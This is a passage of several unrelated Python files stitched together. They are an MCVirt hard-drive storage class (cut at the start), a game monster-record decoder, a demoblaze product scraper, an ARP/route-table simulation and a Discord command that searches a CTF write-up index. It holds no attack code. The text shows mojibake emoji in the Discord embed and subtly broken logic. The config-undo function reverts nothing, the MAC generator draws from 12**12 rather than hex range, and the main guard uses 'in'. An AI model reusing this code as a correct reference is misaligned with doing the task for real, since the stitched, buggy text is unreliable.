            'storage_backend': storage_backend.id_,
            'base_volume_name': base_volume_name,
            'storage_type': cls.__name__
        }

    @property
    def id_(self):
        """Return the ID of the hard drive."""
        return self._id

    @Expose()
    def get_id(self):
        """Return ID."""
        return self.id_

    @property
    def nodes(self):
        """Return nodes that the hard drive is on."""
        return self.get_config_object().get_config()['nodes']

    @property
    def storage_backend(self):
        """Return the storage backend for the hard drive."""
        if self._storage_backend is None:
            storage_backend_id = self.get_config_object().get_config()[
                'storage_backend']
            self._storage_backend = self.po__get_registered_object(
                'storage_factory').get_object(storage_backend_id)

        return self._storage_backend

    @property
    def libvirt_device_type(self):
        """Return the libvirt device type of the storage backend."""
        return self.storage_backend.libvirt_device_type

    @property
    def libvirt_source_parameter(self):
        """Return the libvirt source parameter fro storage backend."""
        return self.storage_backend.libvirt_source_parameter

    @property
    def driver(self):
        """Return the disk drive driver name."""
        # Get from config, if not cached
        if self._driver is None:
            self._driver = self.get_config_object().get_config()['driver']

        return self._driver

    @property
    def base_volume_name(self):
        """Return the disk drive driver name."""
        # Get from config, if not cached
        if self._base_volume_name is None:
            self._base_volume_name = self.get_config_object().get_config()[
                'base_volume_name']

        return self._base_volume_name

    @property
    def supports_snapshot(self):
        """Whether the hard drive supports snapshotting."""
        # Default to False
        return False

    @property
    def supports_online_snapshot(self):
        """Whether the hard drive supports online snapshotting."""
        # Default to False
        return False

    def get_attachment_object(self):
        """Obtain the VM object for the resource."""
        return self.po__get_registered_object(
            'hard_drive_attachment_factory').get_object_by_hard_drive(self)

    def get_virtual_machine(self):
        """Obtain the VM object for the resource."""
        attachment = self.get_attachment_object()

        return attachment.virtual_machine if attachment else None

    def get_remote_object(self,
                          node=None,     # The name of the remote node to connect to
                          node_object=None):   # Otherwise, pass a remote node connection
        """Obtain an instance of the current hard drive object on a remote node."""
        cluster = self.po__get_registered_object('cluster')
        if node_object is None:
            node_object = cluster.get_remote_node(node)

        remote_hard_drive_factory = node_object.get_connection('hard_drive_factory')

        hard_drive_object = remote_hard_drive_factory.get_object(self.id_)
        node_object.annotate_object(hard_drive_object)
        return hard_drive_object

    @Expose(remote_nodes=True)
    def ensure_exists(self):
        """Ensure the disk exists on the local node."""
        self.po__get_registered_object('auth').assert_user_type(
            'ClusterUser', allow_indirect=True)

        self.storage_backend.ensure_available()
        if not self._check_exists():
            raise HardDriveDoesNotExistException(
                'Disk %s does not exist' % self.id_)

    def get_config_object(self):
        """Obtain the config object for the hard drive."""
        return HardDriveConfig(self)

    @Expose(locking=True, remote_nodes=True, support_callback=True)
    def update_config(self, change_dict, reason, _f):
        """Update hard drive config using dict."""
        self.po__get_registered_object('auth').assert_user_type('ClusterUser',
                                                             allow_indirect=True)

        def update_config(config):
            """Update the MCVirt config."""
            _f.add_undo_argument(original_config=dict(config))
            dict_merge(config, change_dict)

        self.get_config_object().update_config(update_config, reason)

    @Expose()
    def undo__update_config(self, change_dict, reason, original_config=None,
                            *args, **kwargs):
        """Undo config change."""
        self.po__get_registered_object('auth').assert_user_type('ClusterUser',
                                                             allow_indirect=True)

        def revert_config(config):
            """Revert config."""
            config = original_config

        if original_config is not None:
            self.get_config_object().update_config(
                revert_config,
                'Revert: %s' % reason)

    def is_static(self):
        """Determine if storage is static and VM cannot be
        migrated to any node in the cluster
        """
        # By default, this is just determined whether the storage is
        # shared or not. Shared storage will allow mean storage is available
        # to any node that supports it. Otherwise, the data is only on the node
        # that the storage was created on.
        return self.storage_backend.is_static()

    @Expose(locking=True)
    def resync(self, source_node=None, auto_determine=False):
        """Resync the volume."""
        raise ResyncNotSupportedException('Resync is not supported on this storage type')

    @Expose()
    def get_type(self):
        """Return the type of storage for the hard drive."""
        return self.get_config_object().get_config()['storage_type']

    def ensure_compatible(self, compare_hdd):
        """Ensure that two hard drive objects are compatible with
        one another, allowing them to be attached to the same VM
        """
        # Ensure that the type of storage (storage type, storage backend shared etc.) matches
        # disks already attached to the VM.
        # All disks attached to a VM must either be DRBD-based or not.
        # All storage backends used by a VM must shared the following attributes: type, shared
        local_storage_backend = self.storage_backend
        compare_storage_backend = compare_hdd.storage_backend

        if local_storage_backend.shared != compare_storage_backend.shared:
            raise InvalidStorageBackendError(
                ('Storage backend for new disk must have the same shared '
                 'status as current disks'))
        elif local_storage_backend.storage_type != compare_storage_backend.storage_type:
            raise InvalidStorageBackendError(
                ('Storage backend for new disk must be the same type '
                 'as current disks'))

    @Expose(locking=True)
    def delete(self, local_only=False):
        """Delete the logical volume for the disk."""
        vm_object = self.get_virtual_machine()
        # Ensure that the user has permissions to add delete storage
        self.po__get_registered_object('auth').assert_permission(
            PERMISSIONS.MODIFY_HARD_DRIVE,
            vm_object
        )

        # If the storage backend is available on one to more nodes,
        # ensure that the hard drive exists. Prefer local host
        check_node = get_hostname() if get_hostname() in self.nodes else self.nodes[0]
        if self.po__is_cluster_master or check_node == get_hostname():
            self.ensure_exists(nodes=[check_node])

        if vm_object:
            vm_object.ensureUnlocked()
            vm_object.ensure_stopped()

            # Remove the hard drive from the MCVirt VM configuration
            self.get_attachment_object().delete(local_only=local_only)

        # Remove backing storage
        self._removeStorage(local_only=local_only)

        # Remove config
        nodes = [get_hostname()] if local_only else self.po__get_registered_object(
            'cluster').get_nodes(include_local=True)

        self.remove_config(nodes=nodes)

    @Expose(locking=True, remote_nodes=True)
    def remove_config(self):
        """Remove hard drive config."""
        self.get_config_object().delete()

    def duplicate(self, destination_vm_object, storage_backend=None):
        """Clone the hard drive and attach it to the new VM object."""
        self.ensure_exists()

        if not storage_backend:
            storage_backend = self.storage_backend

        # Create new disk object, using the same type, size and disk_id
        new_hdd = self.po__get_registered_object('hard_drive_factory').create(
            size=self.get_size(), storage_type=self.get_type(),
            driver=self.driver, storage_backend=storage_backend)

        # Get path of source and new disks
        source_block_device = self._getDiskPath()
        destination_block_device = new_hdd.getDiskPath()

        # Use dd to duplicate the old disk to the new disk
        System.perform_dd(source=source_block_device,
                          destination=destination_block_device,
                          size=self.get_size())
        return new_hdd

    @staticmethod
    def isAvailable(node, node_drbd):
        """Returns whether the storage type is available on the node."""
        raise NotImplementedError

    @Expose(locking=True, remote_nodes=True)
    def activate_volume(self, volume):
        """Activates a logical volume on the node/cluster."""
        self.po__get_registered_object('auth').assert_user_type('ClusterUser',
                                                             allow_indirect=True)
        # Obtain logical volume path
        volume.activate()

    @Expose(locking=True)
    def create_backup_snapshot(self):
        """Creates a snapshot of the logical volume for backing up and locks the VM."""
        vm_object = self.get_virtual_machine()
        # Ensure the user has permission to delete snapshot backups
        self.po__get_registered_object('auth').assert_permission(
            PERMISSIONS.BACKUP_VM,
            self.get_virtual_machine()
        )

        if vm_object:
            # Ensure VM is registered locally
            vm_object.ensureRegisteredLocally()

            # Lock the VM
            vm_object._setLockState(LockStates.LOCKED)

        source_volume = self.get_backup_source_volume()
        backup_volume = self.get_backup_snapshot_volume()

        try:
            source_volume.snapshot(backup_volume, self.SNAPSHOT_SIZE)
        except VolumeAlreadyExistsError:
            if vm_object:
                vm_object._setLockState(LockStates.UNLOCKED)
            raise BackupSnapshotAlreadyExistsException('Backup snapshot already exists')
        except Exception:
            if vm_object:
                vm_object._setLockState(LockStates.UNLOCKED)
            raise

        return backup_volume.get_path()

    @Expose(locking=True)
    def delete_backup_snapshot(self):
        """Deletes the backup snapshot for the disk and unlocks the VM."""
        vm_object = self.get_virtual_machine()
        # Ensure the user has permission to delete snapshot backups
        self.po__get_registered_object('auth').assert_permission(
            PERMISSIONS.BACKUP_VM,
            vm_object
        )

        try:
            self.get_backup_snapshot_volume().delete()
        except VolumeDoesNotExistError:
            if vm_object:
                vm_object._setLockState(LockStates.UNLOCKED)
            raise BackupSnapshotDoesNotExistException(
                'The backup snapshot does not exist'
            )

        # Unlock the VM
        if vm_object:
            vm_object._setLockState(LockStates.UNLOCKED)

    def get_backup_source_volume(self):
        """Retrun the source volume for snapshotting for backeups."""
        raise NotImplementedError

    def get_backup_snapshot_volume(self):
        """Return a volume object for the disk object."""
        raise NotImplementedError

    @Expose(locking=True)
    def increase_size(self, increase_size):
        """Increase the size of a VM hard drive, given the size to increase the drive by."""
        raise NotImplementedError

    def _check_exists(self):
        """Check if the disk exists."""
        raise NotImplementedError

    def clone(self, destination_vm_object):
        """Clone a VM, using snapshotting, attaching it to the new VM object."""
        raise NotImplementedError

    def create(self, size):
        """Create a new disk image, attaches the disk to the VM and records the disk
        in the VM configuration."""
        raise NotImplementedError

    def activateDisk(self):
        """Activate the storage volume."""
        raise NotImplementedError

    def deactivateDisk(self):
        """Deactivate the storage volume."""
        raise NotImplementedError

    def preMigrationChecks(self, destination_node):
        """Determine if the disk is in a state to allow the attached VM
           to be migrated to another node."""
        raise NotImplementedError

    def preOnlineMigration(self):
        """Perform required tasks in order for the underlying
        VM to perform an online migration
        """
        raise NotImplementedError

    def postOnlineMigration(self):
        """Perform post tasks after a VM has performed an online migration."""
        raise NotImplementedError

    def get_size(self):
        """Get the size of the disk (in bytes)"""
        raise NotImplementedError

    def move(self, destination_node, source_node):
        """Move the storage to another node in the cluster."""
        raise NotImplementedError

    def _removeStorage(self, local_only=False, remove_raw=True):
        """Delete te underlying storage for the disk."""
        raise NotImplementedError

    def get_libvirt_driver(self):
        """Return the libvirt name of the driver for the disk."""
        return Driver[self.driver].value

    @Expose()
    def getDiskPath(self):
        """Exposed method for _getDiskPath."""
        self.po__get_registered_object('auth').assert_permission(
            PERMISSIONS.MANAGE_CLUSTER,
            allow_indirect=True
        )
        return self._getDiskPath()

    def _getDiskPath(self):
        """Return the path of the raw disk image."""
        raise NotImplementedError

    def _getBackupLogicalVolume(self):
        """Return the storage device for the backup."""
        raise NotImplementedError

    def _getBackupSnapshotLogicalVolume(self):
        """Return the logical volume name for the backup snapshot."""
        raise NotImplementedError

    def _get_volume(self, disk_name):
        """Return a storage object within the storage backend."""
        return self.storage_backend.get_volume(disk_name)


from commons import directions
from location import Location

class CreateMonster:
    """

    :return:
    """

    def __init__(self, reader):

        self.unit = None
        self.timer = None
        self.location = None
        self.pos = None
        self.dir = None
        self.type = None
        self.frame = None
        self.phase = None
        self.pause = None
        self.weapon = None
        self.pocket = None

        self.read(reader)

    def read(self, reader):

        if not reader:
            return

        self.unit = reader.read_ubyte()
        self.timer = reader.read_ubyte()
        self.location = Location(reader)
        self.pos = reader.read_ubyte()
        self.dir = reader.read_byte()
        self.type = reader.read_ubyte()
        self.frame = reader.read_ubyte()
        self.phase = reader.read_ubyte()
        self.pause = reader.read_ubyte()
        self.pocket = reader.read_ushort()
        self.weapon = reader.read_ushort()

    def decode(self, maze, assets):
        return "Create monster #{unit}, timer: {timer}, location: {location}, subpos: {pos}, dir: {dir}, " \
               "frame: {frame}, phase: {phase}, pause: {pause}, pocket: {pocket}, weapon: {weapon}".format(
            unit=self.unit, timer=self.timer, location=self.location, pos=self.pos, dir=directions[self.dir],
            frame=self.frame, phase=self.phase, pause=self.pause, pocket=self.pocket, weapon=self.weapon
        )


from cgi import print_exception
import requests
from bs4 import BeautifulSoup
import pandas as pd

url = 'https://www.demoblaze.com/'
page = requests.get(url)
soup = BeautifulSoup(page.text, 'lxml')

df = pd.DataFrame({'Link':[''],'Name':[''], 'Image-link':[''],'Price':[''],'Description':['']})

Posts = soup.find_all('div',class_ = 'col-lg-4 col-md-6 mb-4')

print(Posts)
for post in Posts:
    link = post.find('a',class_='hrefch').get('href')
    name = post.find('a',class_='hrefch').text
    image = post.find('img',class_='card-img-top img-fluid').get('src')
    price = post.find('h5').text
    description = post.find('p',id='article').text

    print(link,name,image,price,description)

    df2 = pd.DataFrame({'Link':[link],'Name':[name], 'Image-link':[image],'Price':[price],'Description':[description]})
    df = pd.concat([df,df2],ignore_index=True,axis=0)

# print(df)


import pandas as pd

from random import randrange

# on memory tables
ROUTE_TABLE = []
# {
#   "DESTINATION_IP": "10.10.10.1",
#   "DESTINATION_MASK": "255.255.255.0"
# }

ARP_TABLE = []
# {
#   "GATEWAY": "10.10.10.0",
#   "MAC_ADDRESS": "08:00:27:e7:97:00"
# }

def generate_random_mac():
  rand = "%012x" % randrange(12 ** 12)

  return " ".join([
    str(rand[i]) + str(rand[i + 1]) if i % 2 == 0 else ""
    for i in range(len(rand))
  ]).replace("  ", ":").strip()

def bitwise_and(bits_a, bits_b):
  bits_compared = []

  for i in range(len(bits_a)):
    bit_a = bits_a[i]
    bit_b = bits_b[i]

    bits_compared.append("1" if bit_a == "1" and bit_b == "1" else "0")

  return "".join(bits_compared)

def address_dec_to_bin(address_dec):
  address_parts = address_dec.split(".")
  address_bin = ""

  for part in address_parts:
    part = str(bin(int(part, 10))[2:])
    # fill leading zeroes
    part = part.rjust(8, '0')

    address_bin = str(address_bin) + str(part)

  return address_bin

def address_bin_to_dec(address_bin):
  address_dec = ""

  while len(address_bin) > 0:
    if len(address_dec) > 0:
      address_dec = str(address_dec) + "." + str(int(address_bin[:8], 2))
    else:
      address_dec = str(int(address_bin[:8], 2))

    address_bin = address_bin[8:]

  return address_dec

def add_gateway_to_arp_table(gateway):
  ARP_TABLE.append({
    "GATEWAY": gateway,
    "MAC_ADDRESS": generate_random_mac()
  })

def check_arp_table(gateway):
  results = [
    True
      if arp_entry["GATEWAY"] == gateway
      else False
    for arp_entry in ARP_TABLE
  ]

  return any(results)

def get_gateway_from_route(route):
  address_dec = route["DESTINATION_IP"]
  print('[INFO] address_dec', address_dec)

  dest_mask = route["DESTINATION_MASK"]
  print('[INFO] dest_mask', dest_mask)

  address_bin = address_dec_to_bin(address_dec)
  print('[INFO] address_bin', address_bin)

  mask_bin = address_dec_to_bin(dest_mask)
  print('[INFO] mask_bin', mask_bin)

  gateway_bin = bitwise_and(address_bin, mask_bin)
  print('[INFO] gateway_bin', gateway_bin)

  gateway_dec = address_bin_to_dec(gateway_bin)
  print('[INFO] gateway_dec', gateway_dec)

  return gateway_dec

def route():
  for route in ROUTE_TABLE:
    gateway = get_gateway_from_route(route)

    gateway_known = check_arp_table(gateway)

    if gateway_known == False:
      add_gateway_to_arp_table(gateway)

    print(ARP_TABLE)
    print("---------------------------------------------------")

  df = pd.DataFrame(data=ARP_TABLE)
  print(df)

def main():
  routes = [{
    "DESTINATION_IP": "10.10.10.1",
    "DESTINATION_MASK": "255.255.255.0"
  }, {
    "DESTINATION_IP": "10.10.10.254",
    "DESTINATION_MASK": "255.255.255.0"
  }, {
    "DESTINATION_IP": "10.10.100.50",
    "DESTINATION_MASK": "255.255.255.0"
  }, {
    "DESTINATION_IP": "192.168.0.100",
    "DESTINATION_MASK": "255.255.255.0"
  }]
  ROUTE_TABLE.extend(routes)

  route()

  # [INFO] address_dec 10.10.10.1
  # [INFO] dest_mask 255.255.255.0
  # [INFO] address_bin 00001010000010100000101000000001
  # [INFO] mask_bin 11111111111111111111111100000000
  # [INFO] gateway_bin 00001010000010100000101000000000
  # [INFO] gateway_dec 10.10.10.0
  # [{'GATEWAY': '10.10.10.0', 'MAC_ADDRESS': '06:c5:6b:33:64:44'}]

if __name__ in "__main__":
  main()


from typing import Optional

import aiohttp
import discord
from discord import app_commands

from config import WRITEUP_INDEX_API

class Search(app_commands.Command):
    def __init__(self) -> None:
        super().__init__(
            name="search",
            description="Search for a topic in the CTF write-ups index.",
            callback=self.cmd_callback,  # type: ignore
        )

    async def cmd_callback(
        self, interaction: discord.Interaction, query: str, limit: Optional[int] = 3
    ) -> None:
        """Search for a topic in the CTF write-ups index.

        Args:
            interaction: The interaction that triggered this command.
            query: The search query. Use double quotes for exact matches, and
                prepend a term with a "-" to exclude it.
            limit: Number of results to display (default: 3).
        """
        await interaction.response.defer()

        limit = limit if 0 < limit < 25 else 3
        params = {"q": query, "limit": limit}
        async with aiohttp.request(
            method="get", url=WRITEUP_INDEX_API, params=params
        ) as response:
            if response.status != 200:
                await interaction.followup.send(
                    f"Received a {response.status} HTTP response code."
                )
                return None

            writeups = (await response.json())[:limit]
            embed = discord.Embed(
                title="ðŸ•¸ï¸� CTF Write-ups Search Index",
                colour=discord.Colour.blue(),
                description=(
                    "No results found, want some cookies instead? ðŸ�ª"
                    if len(writeups) == 0
                    else f"ðŸ”� Search results for: {query}"
                ),
            )
            for writeup in writeups:
                embed.add_field(
                    name=f"ðŸš© {writeup['ctf']}",
                    value="\n".join(
                        filter(
                            None,
                            [
                                "```yaml",
                                f"Search score: {writeup['score']:.2f}",
                                f"Challenge: {writeup['name']}",
                                f"Tags: {writeup['tags']}" if writeup["tags"] else "",
                                f"Author: {writeup['author']}"
                                if writeup["author"]
                                else "",
                                f"Team: {writeup['team']}",
                                "```",
                                f"{writeup['ctftime']}",
                                f"{writeup['url']}" if writeup["url"] else "",
                            ],
                        )
                    ),
                    inline=False,
                )
            await interaction.followup.send(embed=embed)